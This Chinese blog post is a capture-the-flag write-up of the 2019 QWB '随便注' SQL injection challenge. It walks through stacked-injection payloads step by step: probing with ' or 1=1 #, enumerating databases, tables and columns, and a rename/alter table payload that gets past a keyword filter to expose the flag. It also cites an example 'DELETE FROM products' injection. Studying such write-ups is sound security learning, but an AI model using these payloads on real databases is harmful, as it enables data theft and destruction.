SQL Injection8(堆叠注入)——强网杯2019随便注

原创

恋物语战场原 于 2019-05-28 17:43:58 发布 16622 收藏 47
分类专栏： CTF web安全 文章标签： ctf 强网杯 强网杯2019 sql注入 sql injection

本文链接：https://blog.csdn.net/qq_26406447/article/details/90643951

SQL Injection8(堆叠注入)——强网杯2019随便注

前言

前面参加强网杯线上赛，亲身体验了一把ctf从入门到入土，从打ctf变成被ctf打…

这里结合里面的题来对里面的知识点进行一个学习总结

随便注是一道sql注入题，因为过滤规则十分强大，所以很难…

这里会用到堆叠注入的知识，堆叠注入前面有所了解，觉得并不难，所以也没练习过，但做这道题的时候就又些懵了。

堆叠注入原理

> 在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入：1; DELETE FROM products服务器端生成的sql语句为：（因未对输入的参数进行过滤）Select * from products where productid=1;DELETE FROM products当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。

这里感谢大佬对场景的复现：https://github.com/CTFTraining/qwb_2019_supersqli

让我这样的菜鸡在比赛后还能学习

随便注

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```


可以看到查询页面返回了一些数据

输入1’发现不回显，然后1’ #显示正常，应该是存在sql注入了

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' # 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```


试一下1’ or 1=1 #

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' or 1=1 # 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```


可以看到返回了数据

正常流程走起，order by

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' order by 2# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```


可以看到order by 2的时候是正常回显了，order by 3就出错了，只有2个字段

这时候用union select进行联合查询

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' union select 1,2 提交

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```


返回一个正则过滤规则，可以看到几乎所有常用的字段都被过滤了

这时候想到堆叠注入，试一下

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' ; show databases;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```


可以看到成功了，存在堆叠注入，

我们再直接show tables来查询下，试下能不能查询出表

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' ; show tables;# 提交

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
```


可以看到有两张表，下面分别来看下两张表有什么字段

0’; show columns from words ;#

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 0'; show columns from 提交

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```


0’; show columns from `1919810931114514` ;#

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1919810931114514`;# 提交

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```


可以看到1919810931114514中有我们想要的flag字段

现在常规方法基本就结束了，要想获得flag就必须来点骚姿势了

因为这里有两张表，回显内容肯定是从word这张表中回显的，那我们怎么才能让它回显flag所在的表呢

内部查询语句类似 : select id, data from word where id =

(这里从上面的对word列的查询可以看到它是有两列，id和data)

然后1919810931114514只有一个flag字段

这时候虽然有强大的正则过滤，但没有过滤alert和rename关键字

这时候我们就可以已下面的骚姿势进行注入：

1.将words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列，列名为id

4.将flag列改名为data

构造payload

1';rename table `words` to `word1`;rename table `1919810931114514` to `words`;alter table `words` add id int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

接着我们再用1’ or 1=1 #,查询就得到flag

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' or 1=1 # 提交

```
array(2) {
  [0]=>
  string(32) "flag{glzjin_wants_a_girl_firend}"
  [1]=>
  string(1) "1"
}
```


可以看下现在数据库中存在的表

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1' ; show tables;# 提交

```
array(2) {
  [0]=>
  string(32) "flag{glzjin_wants_a_girl_firend}"
  [1]=>
  string(1) "1"
}
```

```
array(1) {
  [0]=>
  string(5) "word1"
}

array(1) {
  [0]=>
  string(5) "words"
}
```


现在words表的结构（emmm,这里怎么还是flag字段名…）

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1'; show columns from 提交

```
array(2) {
  [0]=>
  string(32) "flag{glzjin_wants_a_girl_firend}"
  [1]=>
  string(1) "1"
}
```

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(16) "int(10) unsigned"
  [2]=>
  string(2) "NO"
  [3]=>
  string(3) "PRI"
  [4]=>
  NULL
  [5]=>
  string(14) "auto_increment"
}
```


语句有点问题啊，按照下面的语句重新更改，可以发现更改字段名成功

1’; ALTER TABLE `words` CHANGE `flag` `data` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势: 1 提交

```
array(2) {
  [0]=>
  string(32) "flag{glzjin_wants_a_girl_firend}"
  [1]=>
  string(1) "1"
}
```

```
array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(16) "int(10) unsigned"
  [2]=>
  string(2) "NO"
  [3]=>
  string(3) "PRI"
  [4]=>
  NULL
  [5]=>
  string(14) "auto_increment"
}
```


emmm，这里就没问题了，输入1同样能得到flag了

但是为什么不改flag为data也能出结果了，我看别人的writeup不用添加列直接把id改为flag也行

想一想就能发现因为select语句与我们前面设想的有区别

它的select语句应该是 select * from words where id=

总结

> 这里用sqlmap跑过的话可以发现能跑出数据表名那些，当时也没深度思考它的过滤规则，现在来看因为没有过滤show,和常用函数，所以sqlmap也能跑出一些数据
>
> show 的使用，前面对sql使用的时候，show 可能只用过show tables, show databases 这里还用到了show columns和结合from来使用
>
> 堆叠注入，堆叠注入在原理上还是十分好懂的，但是还是有些生疏，后面再结合sqli靶场练习下
>
> 这里的骚姿势才是获取flag的关键啊，修改表名和字段名…这种操作我也是第一次遇到…看别人writeup的时候看到alert，都没一下反应过来…

参考

1. 2019 第三届强网杯 Web 部分 WriteUp + 复现环境
2. SQL注入-堆叠注入（堆查询注入）